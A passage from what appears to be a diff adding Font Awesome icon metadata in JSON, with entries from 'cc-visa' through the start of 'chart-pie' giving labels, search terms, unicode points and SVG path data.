40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z" + } + }, + "free": [ + "brands" + ] + }, + "cc-visa": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1f0", + "label": "Visa Credit Card", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860973, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z" + } + }, + "free": [ + "brands" + ] + }, + "centercode": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f380", + "label": "Centercode", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860973, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z" + } + }, + "free": [ + "brands" + ] + }, + "centos": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "linux", + "operating system", + "os" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f789", + "label": "Centos", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775895, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z" + } + }, + "free": [ + "brands" + ] + }, + "certificate": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "badge", + "star", + "verified" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0a3", + "label": "certificate", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635389, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M458.622 255.92l45.985-45.005c13.708-12.977 7.316-36.039-10.664-40.339l-62.65-15.99 17.661-62.015c4.991-17.838-11.829-34.663-29.661-29.671l-61.994 17.667-15.984-62.671C337.085.197 313.765-6.276 300.99 7.228L256 53.57 211.011 7.229c-12.63-13.351-36.047-7.234-40.325 10.668l-15.984 62.671-61.995-17.667C74.87 57.907 58.056 74.738 63.046 92.572l17.661 62.015-62.65 15.99C.069 174.878-6.31 197.944 7.392 210.915l45.985 45.005-45.985 45.004c-13.708 12.977-7.316 36.039 10.664 40.339l62.65 15.99-17.661 62.015c-4.991 17.838 11.829 34.663 29.661 29.671l61.994-17.667 15.984 62.671c4.439 18.575 27.696 24.018 40.325 10.668L256 458.61l44.989 46.001c12.5 13.488 35.987 7.486 40.325-10.668l15.984-62.671 61.994 17.667c17.836 4.994 34.651-11.837 29.661-29.671l-17.661-62.015 62.65-15.99c17.987-4.302 24.366-27.367 10.664-40.339l-45.984-45.004z" + } + }, + "free": [ + "solid" + ] + }, + "chair": { + "changes": [ + "5.4.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "furniture", + "seat", + "sit" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6c0", + "label": "Chair", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635390, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M112 128c0-29.5 16.2-55 40-68.9V256h48V48h48v208h48V59.1c23.8 13.9 40 39.4 40 68.9v128h48V128C384 57.3 326.7 0 256 0h-64C121.3 0 64 57.3 64 128v128h48zm334.3 213.9l-10.7-32c-4.4-13.1-16.6-21.9-30.4-21.9H42.7c-13.8 0-26 8.8-30.4 21.9l-10.7 32C-5.2 362.6 10.2 384 32 384v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384h256v112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V384c21.8 0 37.2-21.4 30.3-42.1z" + } + }, + "free": [ + "solid" + ] + }, + "chalkboard": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "blackboard", + "learning", + "school", + "teaching", + "whiteboard", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f51b", + "label": "Chalkboard", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635391, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M96 64h448v352h64V40c0-22.06-17.94-40-40-40H72C49.94 0 32 17.94 32 40v376h64V64zm528 384H480v-64H288v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "chalkboard-teacher": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "blackboard", + "instructor", + "learning", + "professor", + "school", + "whiteboard", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f51c", + "label": "Chalkboard Teacher", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635390, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M208 352c-2.39 0-4.78.35-7.06 1.09C187.98 357.3 174.35 360 160 360c-14.35 0-27.98-2.7-40.95-6.91-2.28-.74-4.66-1.09-7.05-1.09C49.94 352-.33 402.48 0 464.62.14 490.88 21.73 512 48 512h224c26.27 0 47.86-21.12 48-47.38.33-62.14-49.94-112.62-112-112.62zm-48-32c53.02 0 96-42.98 96-96s-42.98-96-96-96-96 42.98-96 96 42.98 96 96 96zM592 0H208c-26.47 0-48 22.25-48 49.59V96c23.42 0 45.1 6.78 64 17.8V64h352v288h-64v-64H384v64h-76.24c19.1 16.69 33.12 38.73 39.69 64H592c26.47 0 48-22.25 48-49.59V49.59C640 22.25 618.47 0 592 0z" + } + }, + "free": [ + "solid" + ] + }, + "charging-station": { + "changes": [ + "5.2.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "electric", + "ev", + "tesla", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5e7", + "label": "Charging Station", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635391, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M336 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h320c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm208-320V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-32V80c0-8.84-7.16-16-16-16s-16 7.16-16 16v48h-16c-8.84 0-16 7.16-16 16v32c0 35.76 23.62 65.69 56 75.93v118.49c0 13.95-9.5 26.92-23.26 29.19C431.22 402.5 416 388.99 416 372v-28c0-48.6-39.4-88-88-88h-8V64c0-35.35-28.65-64-64-64H96C60.65 0 32 28.65 32 64v352h288V304h8c22.09 0 40 17.91 40 40v24.61c0 39.67 28.92 75.16 68.41 79.01C481.71 452.05 520 416.41 520 372V251.93c32.38-10.24 56-40.17 56-75.93v-32c0-8.84-7.16-16-16-16h-16zm-283.91 47.76l-93.7 139c-2.2 3.33-6.21 5.24-10.39 5.24-7.67 0-13.47-6.28-11.67-12.92L167.35 224H108c-7.25 0-12.85-5.59-11.89-11.89l16-107C112.9 99.9 117.98 96 124 96h68c7.88 0 13.62 6.54 11.6 13.21L192 160h57.7c9.24 0 15.01 8.78 10.39 15.76z" + } + }, + "free": [ + "solid" + ] + }, + "chart-area": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "analytics", + "area", + "chart", + "graph" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1fe", + "label": "Area Chart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635391, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M500 384c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v308h436zM372.7 159.5L288 216l-85.3-113.7c-5.1-6.8-15.5-6.3-19.9 1L96 248v104h384l-89.9-187.8c-3.2-6.5-11.4-8.7-17.4-4.7z" + } + }, + "free": [ + "solid" + ] + }, + "chart-bar": { + "changes": [ + "1", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "analytics", + "bar", + "chart", + "graph" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f080", + "label": "Bar Chart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635392, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M332.8 320h38.4c6.4 0 12.8-6.4 12.8-12.8V172.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V76.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-288 0h38.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h38.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-38.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zM496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" + }, + "regular": { + "last_modified": 1628088634724, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "chart-line": { + "changes": [ + "4.2", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "activity", + "analytics", + "chart", + "dashboard", + "gain", + "graph", + "increase", + "line" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f201", + "label": "Line Chart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635392, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 384H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM464 96H345.94c-21.38 0-32.09 25.85-16.97 40.97l32.4 32.4L288 242.75l-73.37-73.37c-12.5-12.5-32.76-12.5-45.25 0l-68.69 68.69c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L192 237.25l73.37 73.37c12.5 12.5 32.76 12.5 45.25 0l96-96 32.4 32.4c15.12 15.12 40.97 4.41 40.97-16.97V112c.01-8.84-7.15-16-15.99-16z" + } + }, + "free": [ + "solid" + ] + }, + "chart-pie": { + "changes": [ + "4.2", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "analytics", + "chart", + "diagram", + "graph", + "pie" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f200", + "label": "Pie Chart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635393, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 544 512\"><path 